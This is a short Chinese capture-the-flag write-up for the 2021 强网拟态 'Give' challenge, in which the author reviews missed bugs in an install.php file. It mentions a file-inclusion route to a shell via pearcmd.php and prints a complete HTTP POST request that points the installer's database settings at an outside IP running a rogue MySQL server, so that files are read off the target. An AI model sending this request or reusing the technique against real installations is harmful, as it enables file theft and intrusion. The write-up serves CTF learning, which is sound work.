[Writeup]2021强网拟态 Give

当时没能做出来，当时想到了mysql恶意服务端读取文件，但是没能读成功，不知道是为什么。今天看到Firebasky师傅的github更新了writeup，也是学习了一波。

当时没有拿Seay去扫，单纯的自己肉眼审install.php。自己审这种前后端没有分离的代码，只会去看不涉及到前端的PHP代码，就出了问题，遗漏了漏洞。

拿Seay扫一下第一条就能扫到，install.php608行的这个文件包含漏洞：

但是只能包含php文件，解法一就是上一篇学习的用pearcmd.php实现getshell了，就不多说了。

就是mysql恶意服务端读取文件这个利用姿势了，确实是可以读到的，可是我当时没有成功，看了wp才知道原来是因为默认用的是Pdo：

POST /install.php?config HTTP/1.1
Host: www.nt0day.com
Content-Length: 246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.nt0day.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.nt0day.com/install.php?config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
cookie: __typecho_lang=zh_CN;XDEBUG_SESSION=PHPSTORM
Connection: close

dbAdapter=Mysqli&dbHost=121.5.169.223&dbPort=33306&dbUser=root&dbPassword=root&dbDatabase=typecho&dbCharset=utf8&dbPrefix=typecho_&userUrl=http%3A%2F%2Fwww.nt0day.com&userName=admin&userPassword=123&userMail=webmaster%40yourdomain.com&action=config

即可成功利用。